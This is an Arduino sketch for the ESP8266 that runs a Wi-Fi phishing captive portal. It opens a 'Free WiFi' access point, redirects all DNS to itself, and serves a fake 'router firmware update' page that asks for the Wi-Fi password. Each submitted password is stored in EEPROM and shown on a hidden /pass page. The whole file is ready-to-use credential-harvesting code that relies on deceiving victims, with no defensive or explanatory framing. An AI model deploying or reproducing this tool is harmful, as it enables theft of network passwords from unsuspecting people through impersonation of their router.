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WiFi_Captive_Portal.ino
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WiFi_Captive_Portal.ino
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// ESP8266 WiFi Captive Portal
// By 125K (github.com/125K)
// Libraries
#include <ESP8266WiFi.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
#include <EEPROM.h>
// Default SSID name
const char* SSID_NAME = "Free WiFi";
// Default main strings
#define SUBTITLE "Router info."
#define TITLE "Update"
#define BODY "Your router firmware is out of date. Update your firmware to continue browsing normally."
#define POST_TITLE "Updating..."
#define POST_BODY "Your router is being updated. Please, wait until the proccess finishes.</br>Thank you."
#define PASS_TITLE "Passwords"
#define CLEAR_TITLE "Cleared"
// Init system settings
const byte HTTP_CODE = 200;
const byte DNS_PORT = 53;
const byte TICK_TIMER = 1000;
IPAddress APIP(172, 0, 0, 1); // Gateway
String allPass = "";
String newSSID = "";
String currentSSID = "";
// For storing passwords in EEPROM.
int initialCheckLocation = 20; // Location to check whether the ESP is running for the first time.
int passStart = 30; // Starting location in EEPROM to save password.
int passEnd = passStart; // Ending location in EEPROM to save password.
unsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0;
DNSServer dnsServer; ESP8266WebServer webServer(80);
String input(String argName) {
String a = webServer.arg(argName);
a.replace("<","<");a.replace(">",">");
a.substring(0,200); return a; }
String footer() {
return "</div><div class=q><a>© All rights reserved.</a></div>";
}
String header(String t) {
String a = String(currentSSID);
String CSS = "article { background: #f2f2f2; padding: 1.3em; }"
"body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }"
"div { padding: 0.5em; }"
"h1 { margin: 0.5em 0 0 0; padding: 0.5em; }"
"input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }"
"label { color: #333; display: block; font-style: italic; font-weight: bold; }"
"nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }"
"nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } "
"textarea { width: 100%; }";
String h = "<!DOCTYPE html><html>"
"<head><title>" + a + " :: " + t + "</title>"
"<meta name=viewport content=\"width=device-width,initial-scale=1\">"
"<style>" + CSS + "</style>"
"<meta charset=\"UTF-8\"></head>"
"<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>";
return h; }
String index() {
return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post><label>WiFi password:</label>"+
"<input type=password name=m></input><input type=submit value=Start></form>" + footer();
}
String posted() {
String pass = input("m");
pass = "<li><b>" + pass + "</li></b>"; // Adding password in a ordered list.
allPass += pass; // Updating the full passwords.
// Storing passwords to EEPROM.
for (int i = 0; i <= pass.length(); ++i)
{
EEPROM.write(passEnd + i, pass[i]); // Adding password to existing password in EEPROM.
}
passEnd += pass.length(); // Updating end position of passwords in EEPROM.
EEPROM.write(passEnd, '\0');
EEPROM.commit();
return header(POST_TITLE) + POST_BODY + footer();
}
String pass() {
return header(PASS_TITLE) + "<ol>" + allPass + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer();
}
String ssid() {
return header("Change SSID") + "<p>Here you can change the SSID name. After pressing the button \"Change SSID\" you will lose the connection, so reconnect to the new SSID.</p>" + "<form action=/postSSID method=post><label>New SSID name:</label>"+
"<input type=text name=s></input><input type=submit value=\"Change SSID\"></form>" + footer();
}
String postedSSID() {
String postedSSID = input("s"); newSSID="<li><b>" + postedSSID + "</b></li>";
for (int i = 0; i < postedSSID.length(); ++i) {
EEPROM.write(i, postedSSID[i]);
}
EEPROM.write(postedSSID.length(), '\0');
EEPROM.commit();
WiFi.softAP(postedSSID);
}
String clear() {
allPass = "";
passEnd = passStart; // Setting the password end location -> starting position.
EEPROM.write(passEnd, '\0');
EEPROM.commit();
return header(CLEAR_TITLE) + "<div><p>The password list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer();
}
void BLINK() { // The built-in LED will blink 5 times after a password is posted.
for (int counter = 0; counter < 10; counter++)
{
// For blinking the LED.
digitalWrite(BUILTIN_LED, counter % 2);
delay(500);
}
}
void setup() {
// Serial begin
Serial.begin(115200);
bootTime = lastActivity = millis();
EEPROM.begin(512);
delay(10);
// Check whether the ESP is running for the first time.
String checkValue = "first"; // This will will be set in EEPROM after the first run.
for (int i = 0; i < checkValue.length(); ++i)
{
if (char(EEPROM.read(i + initialCheckLocation)) != checkValue[i])
{
// Add "first" in initialCheckLocation.
for (int i = 0; i < checkValue.length(); ++i)
{
EEPROM.write(i + initialCheckLocation, checkValue[i]);
}
EEPROM.write(0, '\0'); // Clear SSID location in EEPROM.
EEPROM.write(passStart, '\0'); // Clear password location in EEPROM
EEPROM.commit();
break;
}
}
// Read EEPROM SSID
String ESSID;
int i = 0;
while (EEPROM.read(i) != '\0') {
ESSID += char(EEPROM.read(i));
i++;
}
// Reading stored password and end location of passwords in the EEPROM.
while (EEPROM.read(passEnd) != '\0')
{
allPass += char(EEPROM.read(passEnd)); // Reading the store password in EEPROM.
passEnd++; // Updating the end location of password in EEPROM.
}
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));
// Setting currentSSID -> SSID in EEPROM or default one.
currentSSID = ESSID.length() > 1 ? ESSID.c_str() : SSID_NAME;
Serial.print("Current SSID: ");
Serial.print(currentSSID);
WiFi.softAP(currentSSID);
// Start webserver
dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only for HTTP)
webServer.on("/post",[]() { webServer.send(HTTP_CODE, "text/html", posted()); BLINK(); });
webServer.on("/ssid",[]() { webServer.send(HTTP_CODE, "text/html", ssid()); });
webServer.on("/postSSID",[]() { webServer.send(HTTP_CODE, "text/html", postedSSID()); });
webServer.on("/pass",[]() { webServer.send(HTTP_CODE, "text/html", pass()); });
webServer.on("/clear",[]() { webServer.send(HTTP_CODE, "text/html", clear()); });
webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, "text/html", index()); });
webServer.begin();
// Enable the built-in LED
pinMode(BUILTIN_LED, OUTPUT);
digitalWrite(BUILTIN_LED, HIGH);
}
void loop() {
if ((millis() - lastTick) > TICK_TIMER) {lastTick = millis();}
dnsServer.processNextRequest(); webServer.handleClient(); }